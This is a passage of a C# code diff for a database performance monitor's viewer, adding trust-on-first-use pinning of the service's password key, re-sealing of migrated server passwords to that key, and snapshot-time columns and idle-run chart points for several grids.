+            return Refused(InvalidKeyText);
+        }
+
+        if (state is null)
+        {
+            return Refused(NoStateText);
+        }
+
+        if (!string.Equals(state.State, "ok", StringComparison.Ordinal))
+        {
+            var note = string.IsNullOrWhiteSpace(state.Note) ? "" : " " + state.Note.Trim();
+            return Refused($"Passwords cannot be saved: the Darling service reports its password key as {state.State}.{note}");
+        }
+
+        /* An ok state counts only when it is for the key that is published now. */
+        if (!string.Equals(state.KeyId, key.KeyId, StringComparison.Ordinal))
+        {
+            return Refused(NoStateText);
+        }
+
+        var saved = pins.Find(storeId, out var unreadable);
+        var fingerprint = Convert.ToHexString(publicKey.Fingerprint).ToLowerInvariant();
+        if (saved is null)
+        {
+            if (!pins.Save(storeId, publicKey.Fingerprint, publicKey.KeyId))
+            {
+                return Refused(PinsNotSavedText);
+            }
+
+            var notice = FirstConnectNotice(PasswordSeal.DisplayKeyId(publicKey.KeyId));
+            return new ViewerPasswordKeyDecision(publicKey, null, unreadable ? UnreadablePinsText + " " + notice : notice, null);
+        }
+
+        if (string.Equals(saved, fingerprint, StringComparison.Ordinal))
+        {
+            return new ViewerPasswordKeyDecision(publicKey, null, null, null);
+        }
+
+        var savedDisplay = PasswordSeal.DisplayKeyId(saved[..16]);
+        var newDisplay = PasswordSeal.DisplayKeyId(publicKey.KeyId);
+        return new ViewerPasswordKeyDecision(
+            null, ChangedText(savedDisplay, newDisplay), null,
+            new ViewerPasswordKeyChange(savedDisplay, newDisplay, publicKey, FormatFingerprint(saved), FormatFingerprint(fingerprint)));
+    }
+
+    /// <summary>A full fingerprint (64 hex characters) as upper-case groups of eight joined by dashes, for the operator to compare.</summary>
+    public static string FormatFingerprint(string hex)
+    {
+        var upper = (hex ?? "").ToUpperInvariant();
+        var groups = new System.Collections.Generic.List<string>();
+        for (var i = 0; i < upper.Length; i += 8)
+        {
+            groups.Add(upper.Substring(i, Math.Min(8, upper.Length - i)));
+        }
+
+        return string.Join('-', groups);
+    }
+
+    /// <summary>
+    /// Reads the key the store publishes and decides whether this viewer may seal with it. A changed key shows
+    /// <see cref="PasswordKeyChangedDialog"/> over <paramref name="owner"/>: trusting it replaces the saved key and the
+    /// save goes on, declining refuses with the changed-key sentence. A null <paramref name="owner"/> means there is no
+    /// window to ask in: a changed key is refused with the changed-key sentence and no dialog is shown. A read-only
+    /// connection never reads the key tables.
+    /// </summary>
+    public static async Task<ViewerSealKeyResult> GetSealKeyAsync(
+        ViewerDataService data, Window? owner, CancellationToken ct = default)
+    {
+        ArgumentNullException.ThrowIfNull(data);
+
+        if (data.IsReadOnly)
+        {
+            return new ViewerSealKeyResult { Refusal = ReadOnlyText };
+        }
+
+        PublishedPasswordKey? key;
+        PasswordKeyServiceState? state;
+        try
+        {
+            (key, state) = await data.GetPublishedPasswordKeyAsync(ct);
+        }
+        catch (PostgresException ex) when (ex.SqlState == "42501")
+        {
+            return new ViewerSealKeyResult { Refusal = NoKeyAccessText };
+        }
+        catch (PostgresException ex) when (ex.SqlState == "42P01")
+        {
+            return new ViewerSealKeyResult { Refusal = NoTablesText };
+        }
+
+        var pins = new ViewerPasswordKeyPins();
+        var decision = Evaluate(key, state, data.StoreConnectionIdentity, pins);
+        return Resolve(decision, data.StoreConnectionIdentity, pins, owner is not null, change =>
+        {
+            var dialog = new PasswordKeyChangedDialog(change);
+            if (owner is not null && owner.IsLoaded)
+            {
+                dialog.Owner = owner;
+            }
+
+            return dialog.ShowDialog() == true;
+        });
+    }
+
+    /// <summary>
+    /// Turns a decision into the answer for the caller. A changed key is put to <paramref name="ask"/> only when
+    /// <paramref name="canAsk"/> is true; trusting it saves the new key (and refuses when that cannot be saved), declining
+    /// or having no one to ask refuses with the changed-key sentence.
+    /// </summary>
+    internal static ViewerSealKeyResult Resolve(
+        ViewerPasswordKeyDecision decision, string storeId, ViewerPasswordKeyPins pins, bool canAsk,
+        Func<ViewerPasswordKeyChange, bool> ask)
+    {
+        if (decision.Change is { } change)
+        {
+            if (canAsk && ask(change))
+            {
+                if (!pins.Save(storeId, change.NewKey.Fingerprint, change.NewKey.KeyId))
+                {
+                    return new ViewerSealKeyResult { Refusal = PinsNotSavedText };
+                }
+
+                return new ViewerSealKeyResult { Sealer = new ViewerPasswordSealer(change.NewKey) };
+            }
+
+            return new ViewerSealKeyResult { Refusal = decision.Refusal };
+        }
+
+        return decision.Key is { } publicKey
+            ? new ViewerSealKeyResult { Sealer = new ViewerPasswordSealer(publicKey), Notice = decision.Notice }
+            : new ViewerSealKeyResult { Refusal = decision.Refusal };
+    }
+
+    /// <summary>
+    /// The check on connect: saves the store's key the first time it is seen and returns the notice to show. A changed key
+    /// shows nothing here; the save of a password asks. Returns null for a read-only connection, a store without a healthy
+    /// key, or a key already saved. Never throws.
+    /// </summary>
+    public static async Task<string?> CheckOnConnectAsync(ViewerDataService data, CancellationToken ct = default)
+    {
+        try
+        {
+            if (data.IsReadOnly)
+            {
+                return null;
+            }
+
+            var (key, state) = await data.GetPublishedPasswordKeyAsync(ct);
+            return Evaluate(key, state, data.StoreConnectionIdentity, new ViewerPasswordKeyPins()).Notice;
+        }
+        catch (Exception ex) when (ex is PostgresException or NpgsqlException or InvalidOperationException or OperationCanceledException)
+        {
+            ViewerLogger.Warn("ViewerPasswordKey", "The password key check was skipped: " + ex.Message);
+            return null;
+        }
+    }
+
+    private static ViewerPasswordKeyDecision Refused(string text) => new(null, text, null, null);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerPasswordKeyPins.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerPasswordKeyPins.cs
new file mode 100644
index 0000000000..84717b1295
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerPasswordKeyPins.cs
@@ -0,0 +1,154 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>
+/// The password key this viewer has seen for each store it connects to (#5366): the full SHA-256 of the key's public
+/// part, saved once per store connection and compared at every save of a password. A file that cannot be read counts
+/// as no saved keys, is kept as <c>.bad</c> when the next key is saved, and <see cref="Find"/> says so, so the connect can tell the operator. Every read and write is
+/// guarded: a failure never stops the viewer.
+/// </summary>
+public sealed class ViewerPasswordKeyPins
+{
+    private const string LogSource = "ViewerPasswordKeyPins";
+
+    private static readonly JsonSerializerOptions s_json = new() { WriteIndented = true };
+
+    private readonly string _path;
+
+    public ViewerPasswordKeyPins(string? path = null) => _path = path ?? DefaultPath();
+
+    /// <summary>%APPDATA%\PerformanceMonitorDarling\password-key-pins.json.</summary>
+    public static string DefaultPath() => Path.Combine(
+        Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
+        "PerformanceMonitorDarling", "password-key-pins.json");
+
+    /// <summary>One saved key: the store it belongs to, the full fingerprint as 64 lowercase hex characters, the key id and
+    /// when it was saved.</summary>
+    public sealed class PinEntry
+    {
+        public string Store { get; set; } = "";
+        public string Fingerprint { get; set; } = "";
+        public string KeyId { get; set; } = "";
+        public DateTime PinnedAtUtc { get; set; }
+    }
+
+    /// <summary>
+    /// The saved fingerprint (64 lowercase hex characters) for <paramref name="store"/>, or null when there is none.
+    /// <paramref name="unreadable"/> is true when the answer is null because the file could not be read or holds no usable
+    /// list, because the entry for this store is not a 64-character hex fingerprint, or because an earlier unreadable file
+    /// was set aside as <c>.bad</c> and this store has no entry since.
+    /// </summary>
+    public string? Find(string store, out bool unreadable)
+    {
+        var entries = ReadAll(out unreadable);
+        var entry = entries.FirstOrDefault(e => string.Equals(e.Store, store, StringComparison.Ordinal));
+        if (entry is not null)
+        {
+            if (IsFingerprint(entry.Fingerprint))
+            {
+                unreadable = false;
+                return entry.Fingerprint;
+            }
+
+            unreadable = true;
+            return null;
+        }
+
+        unreadable |= File.Exists(BadPath);
+        return null;
+    }
+
+    /// <summary>Saves (or replaces) the fingerprint for <paramref name="store"/>. Returns false when the file could not be
+    /// written. A file that cannot be read is renamed to <c>.bad</c> (replacing an older one) before the new list, which
+    /// holds only this entry, is written.</summary>
+    public bool Save(string store, byte[] fingerprint, string keyId)
+    {
+        try
+        {
+            var all = ReadAll(out var unreadable);
+            var entries = all.Where(e => !string.Equals(e.Store, store, StringComparison.Ordinal)).ToList();
+            var current = all.FirstOrDefault(e => string.Equals(e.Store, store, StringComparison.Ordinal));
+            var directory = Path.GetDirectoryName(_path);
+            if (!string.IsNullOrEmpty(directory))
+            {
+                Directory.CreateDirectory(directory);
+            }
+
+            if ((unreadable || (current is not null && !IsFingerprint(current.Fingerprint))) && File.Exists(_path))
+            {
+                File.Move(_path, BadPath, overwrite: true);
+            }
+
+            entries.Add(new PinEntry
+            {
+                Store = store,
+                Fingerprint = Convert.ToHexString(fingerprint).ToLowerInvariant(),
+                KeyId = keyId,
+                PinnedAtUtc = DateTime.UtcNow,
+            });
+
+            var temp = _path + ".tmp";
+            File.WriteAllText(temp, JsonSerializer.Serialize(entries, s_json));
+            File.Move(temp, _path, overwrite: true);
+            return true;
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException or JsonException or NotSupportedException)
+        {
+            ViewerLogger.Warn(LogSource, "The saved password keys could not be written: " + ex.Message);
+            return false;
+        }
+    }
+
+    private string BadPath => _path + ".bad";
+
+    private static bool IsFingerprint(string? text)
+    {
+        if (text is null || text.Length != 64)
+        {
+            return false;
+        }
+
+        foreach (var ch in text)
+        {
+            if (!char.IsAsciiHexDigitLower(ch))
+            {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    private List<PinEntry> ReadAll(out bool unreadable)
+    {
+        unreadable = false;
+        try
+        {
+            if (!File.Exists(_path))
+            {
+                return [];
+            }
+
+            return JsonSerializer.Deserialize<List<PinEntry>>(File.ReadAllText(_path)) ?? [];
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException or JsonException or NotSupportedException)
+        {
+            ViewerLogger.Warn(LogSource, "The saved password keys could not be read: " + ex.Message);
+            unreadable = true;
+            return [];
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerPostgresDisplay.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerPostgresDisplay.cs
index a94bca24d9..22e7d7ec03 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerPostgresDisplay.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerPostgresDisplay.cs
@@ -297,7 +297,7 @@ XID columns would say so. */
         /* datallowconn=false is why a database can sit at 99% of wraparound and never be vacuumed by
            anything that connects to it. It is the finding, not a footnote. */
         ConnectionsAllowed = row.AllowsConnections ? "allowed" : "NOT ALLOWED",
-        MeasuredAt = Timestamp(row.MeasuredAt),
+        MeasuredAt = SnapshotTime(row.MeasuredAt),
         MeasuredAtUtc = row.MeasuredAt,
     };
 
@@ -479,7 +479,7 @@ internal sealed class SlotRow
         Plugin = row.Plugin ?? "",
         InvalidationReason = row.InvalidationReason ?? "",
         Conflicting = row.Conflicting ? "CONFLICTING" : "",
-        MeasuredAt = Timestamp(row.MeasuredAt),
+        MeasuredAt = SnapshotTime(row.MeasuredAt),
         MeasuredAtUtc = row.MeasuredAt,
         /* An invalidated slot has already lost its WAL: the replica behind it needs rebuilding, and that
            is a different day from an inactive slot that is merely accumulating. A CONFLICTING slot is in
@@ -1390,7 +1390,7 @@ internal static List<ColumnStatRow> ColumnStatRows(IReadOnlyList<DarlingPgColumn
         Correlation = row.Correlation,
         TopValueFrequency = row.TopValueFrequency,
         CommonValueCount = row.CommonValueCount,
-        CaptureTime = Timestamp(row.CaptureTime),
+        CaptureTime = SnapshotTime(row.CaptureTime),
         CaptureTimeUtc = row.CaptureTime,
     };
 
@@ -1450,9 +1450,172 @@ internal static List<IndexBloatRow> IndexBloatRows(IReadOnlyList<DarlingPgIndexB
         EmptyPages = row.EmptyPages,
         ExactMeasurementCommand = row.ExactMeasurementCommand,
         SkippedReason = row.SkippedReason,
-        MeasuredAt = Timestamp(row.MeasuredAt),
+        MeasuredAt = SnapshotTime(row.MeasuredAt),
         MeasuredAtUtc = row.MeasuredAt,
-        EstimatedAt = Timestamp(row.EstimatedAt),
+        EstimatedAt = SnapshotTime(row.EstimatedAt),
         EstimatedAtUtc = row.EstimatedAt,
     };
+
+    /* #4966: the four latest-state grids whose reader rows carry the snapshot's own time. Each grid shows the newest
+       row per key, so the rows' times can differ and the time is a column of its own. The reader row's time is naive
+       UTC; the text is the display zone to the second, and the UTC instant beside it is what the column sorts by. */
+
+    /// <summary>The snapshot time text every grid below shows: the display zone, to the second.</summary>
+    internal static string SnapshotTime(DateTime? utc)
+    {
+        if (!utc.HasValue)
+        {
+            return string.Empty;
+        }
+
+        return ViewerTimeHelper.FormatForDisplay(utc.Value, "yyyy-MM-dd HH:mm:ss");
+    }
+
+    /// <summary>One extension of the Extensions grid, with the time of the snapshot that row came from.</summary>
+    internal sealed class ExtensionRow
+    {
+        public string? DatabaseName { get; init; }
+        public string ExtensionName { get; init; } = "";
+        public string State { get; init; } = "";
+        public string? InstalledVersion { get; init; }
+        public string? DefaultVersion { get; init; }
+        public string? Comment { get; init; }
+        public string CaptureTime { get; init; } = "";
+        /// <summary>The UTC instant <see cref="CaptureTime"/> is formatted from. The column sorts by it, not by that text.</summary>
+        public DateTime CaptureTimeUtc { get; init; }
+    }
+
+    internal static ExtensionRow Extension(DarlingPgExtensionAvailabilityReader.PgExtensionRow row) => new()
+    {
+        DatabaseName = row.DatabaseName,
+        ExtensionName = row.ExtensionName,
+        State = row.State,
+        InstalledVersion = row.InstalledVersion,
+        DefaultVersion = row.DefaultVersion,
+        Comment = row.Comment,
+        CaptureTime = SnapshotTime(row.CaptureTime),
+        CaptureTimeUtc = row.CaptureTime,
+    };
+
+    /// <summary>One setting of the Server Config grid. Every row of one read carries the same snapshot time.</summary>
+    internal sealed class ServerConfigRow
+    {
+        public string Name { get; init; } = "";
+        public string? Setting { get; init; }
+        public string? Unit { get; init; }
+        public string? BootValue { get; init; }
+        public string? Source { get; init; }
+        public string? Context { get; init; }
+        public bool PendingRestart { get; init; }
+        public string? ShortDescription { get; init; }
+        public string CollectionTime { get; init; } = "";
+        /// <summary>The UTC instant <see cref="CollectionTime"/> is formatted from. The column sorts by it, not by that text.</summary>
+        public DateTime CollectionTimeUtc { get; init; }
+    }
+
+    internal static ServerConfigRow ServerConfig(DarlingPgServerConfigReader.PgConfigRow row) => new()
+    {
+        Name = row.Name,
+        Setting = row.Setting,
+        Unit = row.Unit,
+        BootValue = row.BootValue,
+        Source = row.Source,
+        Context = row.Context,
+        PendingRestart = row.PendingRestart,
+        ShortDescription = row.ShortDescription,
+        CollectionTime = SnapshotTime(row.CollectionTimeUtc),
+        CollectionTimeUtc = row.CollectionTimeUtc,
+    };
+
+    /// <summary>One relation of the Buffer Usage grid. All rows are one collection, so the time is the same on each.</summary>
+    internal sealed class BufferUsageRow
+    {
+        public string? DatabaseName { get; init; }
+        public string? RelationName { get; init; }
+        public long Buffers { get; init; }
+        public double PctOfPool { get; init; }
+        public long DirtyBuffers { get; init; }
+        public double PctDirty { get; init; }
+        public double? AvgUsageCount { get; init; }
+        public long PoolBuffersUsed { get; init; }
+        public long PoolBuffersTotal { get; init; }
+        public string CaptureTime { get; init; } = "";
+        /// <summary>The UTC instant <see cref="CaptureTime"/> is formatted from. The column sorts by it, not by that text.</summary>
+        public DateTime CaptureTimeUtc { get; init; }
+    }
+
+    internal static BufferUsageRow BufferUsage(DarlingPgBufferUsageReader.PgBufferUsageRow row) => new()
+    {
+        DatabaseName = row.DatabaseName,
+        RelationName = row.RelationName,
+        Buffers = row.Buffers,
+        PctOfPool = row.PctOfPool,
+        DirtyBuffers = row.DirtyBuffers,
+        PctDirty = row.PctDirty,
+        AvgUsageCount = row.AvgUsageCount,
+        PoolBuffersUsed = row.PoolBuffersUsed,
+        PoolBuffersTotal = row.PoolBuffersTotal,
+        CaptureTime = SnapshotTime(row.CaptureTime),
+        CaptureTimeUtc = row.CaptureTime,
+    };
+
+    /// <summary>One predicate of the Predicate Stats grid. <see cref="Source"/> is the reader row the context menu acts on.</summary>
+    internal sealed class PredicateStatRow
+    {
+        public string? DatabaseName { get; init; }
+        public string? SchemaName { get; init; }
+        public string? TableName { get; init; }
+        public string? ColumnName { get; init; }
+        public string? Operator { get; init; }
+        public double? FilteredPct { get; init; }
+        public long RowsEvaluated { get; init; }
+        public double WorstEstimateErrorRatio { get; init; }
+        public double SampleRate { get; init; }
+        public long QueryId { get; init; }
+        public string CaptureTime { get; init; } = "";
+        /// <summary>The UTC instant <see cref="CaptureTime"/> is formatted from. The column sorts by it, not by that text.</summary>
+        public DateTime CaptureTimeUtc { get; init; }
+        public required DarlingPgPredicateStatsReader.PgPredicateStatRow Source { get; init; }
+    }
+
+    internal static PredicateStatRow PredicateStat(DarlingPgPredicateStatsReader.PgPredicateStatRow row) => new()
+    {
+        DatabaseName = row.DatabaseName,
+        SchemaName = row.SchemaName,
+        TableName = row.TableName,
+        ColumnName = row.ColumnName,
+        Operator = row.Operator,
+        FilteredPct = row.FilteredPct,
+        RowsEvaluated = row.RowsEvaluated,
+        WorstEstimateErrorRatio = row.WorstEstimateErrorRatio,
+        SampleRate = row.SampleRate,
+        QueryId = row.QueryId,
+        CaptureTime = SnapshotTime(row.CaptureTime),
+        CaptureTimeUtc = row.CaptureTime,
+        Source = row,
+    };
+
+    /// <summary>One facet of the Plan-capture readiness grid: the check's answer as words, with the time it was last observed.</summary>
+    internal sealed class PlanCaptureRow
+    {
+        public string Facet { get; init; } = "";
+        /* Words, not a checkbox or a bare bool: "False" beside a remedy sentence reads as a failure rather than as a
+           step not yet taken. */
+        public string Satisfied { get; init; } = "";
+        public string Observed { get; init; } = "";
+        public string Detail { get; init; } = "";
+        public string CaptureTime { get; init; } = "";
+        /// <summary>The UTC instant <see cref="CaptureTime"/> is formatted from. The column sorts by it, not by that text.</summary>
+        public DateTime CaptureTimeUtc { get; init; }
+    }
+
+    internal static PlanCaptureRow PlanCapture(DarlingPgPlanCaptureReadinessReader.PgPlanCaptureReadinessRow row) => new()
+    {
+        Facet = row.Facet,
+        Satisfied = row.IsSatisfied ? "yes" : "no",
+        Observed = row.Observed ?? "(not reported)",
+        Detail = row.Detail ?? string.Empty,
+        CaptureTime = SnapshotTime(row.CaptureTime),
+        CaptureTimeUtc = row.CaptureTime,
+    };
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerPreferences.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerPreferences.cs
index 0e43b46773..c0b1ed954a 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerPreferences.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerPreferences.cs
@@ -42,9 +42,17 @@ covers the five presets (0..4) — "Custom Range" needs concrete From/To dates t
     internal const int MaxTimeRangeIndex = 4;
     internal const int MaxAutoRefreshIntervalIndex = 2;
 
-    /// <summary>Default time window for a newly-opened server tab: 0=1h, 1=4h, 2=12h, 3=24h, 4=7d.</summary>
+    /// <summary>LEGACY default time window for a newly-opened server tab: 0=1h, 1=4h, 2=12h, 3=24h, 4=7d. Kept so a file
+    /// written before the shared time range picker (#5562) still opens on the same range, and so a file written now
+    /// still opens on an older build (the nearest of the five). <see cref="DefaultTimeRange"/> wins when it holds a range.</summary>
     public int DefaultTimeRangeIndex { get; set; } = DefaultTimeRangeIndexValue;
 
+    /// <summary>The default time window as the picker names it (#5562): a rolling length ("4h", "1w", "1mo") or a calendar
+    /// period ("today", "previous-week"). Null or unrecognised means the legacy <see cref="DefaultTimeRangeIndex"/> decides.
+    /// A fixed or since range is never kept here: like Custom, it names concrete instants that make no sense as a standing
+    /// default.</summary>
+    public string? DefaultTimeRange { get; set; }
+
     /// <summary>Whether a newly-opened server tab starts with auto-refresh running.</summary>
     public bool AutoRefreshEnabled { get; set; } = true;
 
@@ -70,6 +78,12 @@ internal ViewerPreferences Normalize()
             DefaultTimeRangeIndex = DefaultTimeRangeIndexValue;
         }
 
+        /* #5562: the string id wins when it names a range a default can be; otherwise it is rebuilt from the legacy index
+           (an old file, or a hand edit to something unknown), so the two always agree on what a new tab opens on. */
+        var chosen = ViewerTimeRangeWindow.DefaultFor(this);
+        DefaultTimeRange = chosen.Id;
+        DefaultTimeRangeIndex = ViewerTimeRangeWindow.ToLegacyIndex(chosen);
+
         if (AutoRefreshIntervalIndex < 0 || AutoRefreshIntervalIndex > MaxAutoRefreshIntervalIndex)
         {
             AutoRefreshIntervalIndex = DefaultAutoRefreshIntervalIndexValue;
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerProcedureHistoryIdleRuns.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerProcedureHistoryIdleRuns.cs
new file mode 100644
index 0000000000..86aca352f5
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerProcedureHistoryIdleRuns.cs
@@ -0,0 +1,88 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>
+/// #5449: the procedure_stats collector stores no row for a procedure in a cycle where it did no work. An older store kept
+/// one (deltas 0), so its per-procedure history chart drew a 0 for the quiet minute. A newer store has a hole there, and a
+/// line drawn across the hole shows the busy minutes either side as if the procedure ran all the time. The chart adds the
+/// collector's runs that stored no row for this procedure back as 0 points, so both kinds of store draw the same.
+/// The history GRID is not changed: it lists the minutes with work. Lite's twin is <c>ProcedureHistoryIdleRuns</c>.
+/// </summary>
+internal static class ViewerProcedureHistoryIdleRuns
+{
+    /// <summary>One SUCCESS run of the collector: its log time (<c>collection_log.collection_time</c>) and its logged duration.</summary>
+    internal readonly record struct Run(DateTime Time, long DurationMs);
+
+    /// <summary>
+    /// The collector runs that left no row for the procedure, between its first and last stored row, as the time to plot each
+    /// 0 at. Darling stamps a run's rows when the run starts and writes its log row after the run, so a run's rows sit just
+    /// before its log time: run k owns the rows in (the previous run's log time, its own log time]. A run is a candidate when
+    /// the previous run's log time is at or after the first row and its own is before the last (the procedure was in the cache
+    /// for the whole of its span), and idle when no row of the procedure falls in what it owns. The 0 goes at the log time minus
+    /// the logged duration, so it never lands before the run's real start. The duration is only the placement: it covers
+    /// the run's query and store time, not its wall clock, so it never decides ownership. Runs before the first row or after
+    /// the last are not returned: the procedure was not in the cache yet, or had left it, and a 0 there would be invented.
+    /// Both lists ascending.
+    /// </summary>
+    internal static List<DateTime> IdleRunTimes(IReadOnlyList<DateTime> rowTimes, IReadOnlyList<Run> runs)
+    {
+        var idle = new List<DateTime>();
+        if (rowTimes.Count == 0)
+        {
+            return idle;
+        }
+
+        var first = rowTimes[0];
+        var last = rowTimes[rowTimes.Count - 1];
+        var r = 0;
+        for (var i = 1; i < runs.Count; i++)
+        {
+            var previous = runs[i - 1].Time;
+            var logged = runs[i].Time;
+            if (previous < first || logged >= last)
+            {
+                continue;
+            }
+
+            while (r < rowTimes.Count && rowTimes[r] <= previous)
+            {
+                r++;
+            }
+
+            if (r < rowTimes.Count && rowTimes[r] <= logged)
+            {
+                continue;
+            }
+
+            idle.Add(logged.AddMilliseconds(-runs[i].DurationMs));
+        }
+
+        return idle;
+    }
+
+    /// <summary>The history rows with an all-zero row added at each idle run, in time order, for the chart (not the grid).</summary>
+    internal static List<ViewerProcedureStatsHistoryRow> ChartRows(
+        IReadOnlyList<ViewerProcedureStatsHistoryRow> history, IReadOnlyList<DateTime> idleRunTimes)
+    {
+        if (idleRunTimes.Count == 0)
+        {
+            return history.ToList();
+        }
+
+        return history
+            .Concat(idleRunTimes.Select(t => new ViewerProcedureStatsHistoryRow { CollectionTime = t }))
+            .OrderBy(r => r.CollectionTime)
+            .ToList();
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerMigration.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerMigration.cs
index fa3ebfa846..6dca2be80c 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerMigration.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerMigration.cs
@@ -34,8 +34,8 @@ namespace PerformanceMonitor.Darling.Viewer;
 ///
 /// <para><b>Secrets.</b> An integrated-auth and a managed-identity entry migrate with no secret. A SQL-auth or
 /// service-principal entry (inline or via a SQL credential profile) has its secret — a password or a client
-/// secret — read from Windows Credential Manager and re-sealed as the service-decryptable DPAPI-LocalMachine
-/// blob (<see cref="ViewerServerSecret"/>); such an entry whose secret cannot be resolved is skipped rather
+/// secret — read from Windows Credential Manager and re-sealed to the service's published key
+/// (<see cref="ViewerPasswordKey"/>); such an entry whose secret cannot be resolved is skipped rather
 /// than imported broken. Only the INTERACTIVE Entra modes the service can't honor
 /// (<see cref="ServerStoreCredential"/>) are skipped outright. Favorites are NOT migrated — they stay
 /// viewer-local in <see cref="ViewerServerStore"/>.</para>
@@ -82,11 +82,14 @@ public async Task<int> MigrateAsync(ViewerDataService? dataService, Cancellation
         }
 
         var total = new ViewerServerImportResult(0, 0);
+        var key = new SealKeyHolder();
+        var deferred = false;
         try
         {
             foreach (var entry in _serverStore.GetAllServers())
             {
-                var (row, _) = TryProjectEntry(entry);
+                var (row, needsKey) = await ProjectAsync(entry, dataService, key, cancellationToken);
+                deferred |= needsKey;
                 if (row is null)
                 {
                     continue;
@@ -106,6 +109,14 @@ writable run finishes the import. */
             return total.Imported;
         }
 
+        /* An entry with a password waits for the service's password key (#5366): leave the marker unwritten so a later
+           run, with the key published, imports it. The entries already in the store are skipped as duplicates then. */
+        if (deferred)
+        {
+            ViewerLogger.Warn("ViewerServerMigration", "A server with a password was not imported yet: " + (key.Refusal ?? ViewerPasswordKey.NoKeyText));
+            return total.Imported;
+        }
+
         WriteMarker();
         return total.Imported;
     }
@@ -132,9 +143,10 @@ public static async Task<ViewerServerImportResult> ImportFromStoreAsync(
 
         var projector = new ViewerServerMigration(sourceStore, sourceProfiles);
         var total = new ViewerServerImportResult(0, 0);
+        var key = new SealKeyHolder();
         foreach (var entry in sourceStore.GetAllServers())
         {
-            var (row, _) = projector.TryProjectEntry(entry);
+            var (row, _) = await projector.ProjectAsync(entry, dataService, key, cancellationToken);
             if (row is null)
             {
                 continue;
@@ -147,6 +159,53 @@ public static async Task<ViewerServerImportResult> ImportFromStoreAsync(
         return total;
     }
 
+    /// <summary>The key a pass seals with, read the first time an entry needs it and not again.</summary>
+    private sealed class SealKeyHolder
+    {
+        public bool Tried;
+        public ViewerPasswordSealer? Sealer;
+        public string? Refusal;
+    }
+
+    /// <summary>The skip reason of an entry with a password when no sealer was given.</summary>
+    internal const string NoPasswordKeyReason = "no password key is available to seal its password";
+
+    /// <summary>
+    /// Projects one entry, reading the store's password key the first time an entry with a password needs it.
+    /// <c>NeedsKey</c> is true when the entry was left out only because that key could not be had.
+    /// </summary>
+    private async Task<(MonitoredServerRow? Row, bool NeedsKey)> ProjectAsync(
+        ViewerServerEntry entry, ViewerDataService dataService, SealKeyHolder key, CancellationToken cancellationToken)
+    {
+        var (row, reason) = TryProjectEntry(entry, key.Sealer);
+        if (row is not null || reason != NoPasswordKeyReason)
+        {
+            return (row, false);
+        }
+
+        if (!key.Tried)
+        {
+            key.Tried = true;
+            var result = await ViewerPasswordKey.GetSealKeyAsync(dataService, null, cancellationToken);
+            key.Sealer = result.Sealer;
+            key.Refusal = result.Refusal;
+            if (result.Notice is not null)
+            {
+                ViewerLogger.Info("ViewerServerMigration", result.Notice);
+            }
+            if (key.Sealer is not null)
+            {
+                (row, reason) = TryProjectEntry(entry, key.Sealer);
+                if (row is not null || reason != NoPasswordKeyReason)
+                {
+                    return (row, false);
+                }
+            }
+        }
+
+        return (null, true);
+    }
+
     /// <summary>
     /// Folds what <see cref="ViewerDataService.AddMonitoredServerAsync"/> answered for <paramref name="row"/> into
     /// the running <paramref name="total"/> (#4789); both imports go through here so they cannot drift.
@@ -184,10 +243,12 @@ internal static string DescribeCollision(MonitoredServerRow row, MonitoredServer
     /// <summary>
     /// Projects a viewer registry entry to the store row the migrate writes, or returns a skip reason. Public
     /// so Darling.Tests can pin the auth mapping + secret resolution without a live store. Reads Windows
-    /// Credential Manager (through the injected stores) and DPAPI-seals a SQL secret, so the SQL path is
-    /// Windows-only; the integrated + unsupported-auth + missing-secret branches are platform-independent.
+    /// Credential Manager (through the injected stores) and seals a SQL secret to <paramref name="sealer"/> for the row's
+    /// connection settings (#5366), so the SQL path is Windows-only; the integrated + unsupported-auth + missing-secret
+    /// branches are platform-independent. An entry with a secret and no sealer is skipped with
+    /// <see cref="NoPasswordKeyReason"/>.
     /// </summary>
-    public (MonitoredServerRow? Row, string? SkipReason) TryProjectEntry(ViewerServerEntry entry)
+    public (MonitoredServerRow? Row, string? SkipReason) TryProjectEntry(ViewerServerEntry entry, ViewerPasswordSealer? sealer = null)
     {
         ArgumentNullException.ThrowIfNull(entry);
 
@@ -238,7 +299,7 @@ a server named after the key. */
         }
 
         /* SQL and service principal both resolve a secret — a SQL password or a client secret — from the
-           profile or the server store, and store it in the same DPAPI blob. */
+           profile or the server store, and store it sealed to the service's key. */
         var credential = profile is not null
             ? _profileStore.GetSecret(profile.Id)
             : _serverStore.GetCredential(entry.Id);
@@ -249,7 +310,20 @@ a server named after the key. */
         }
 
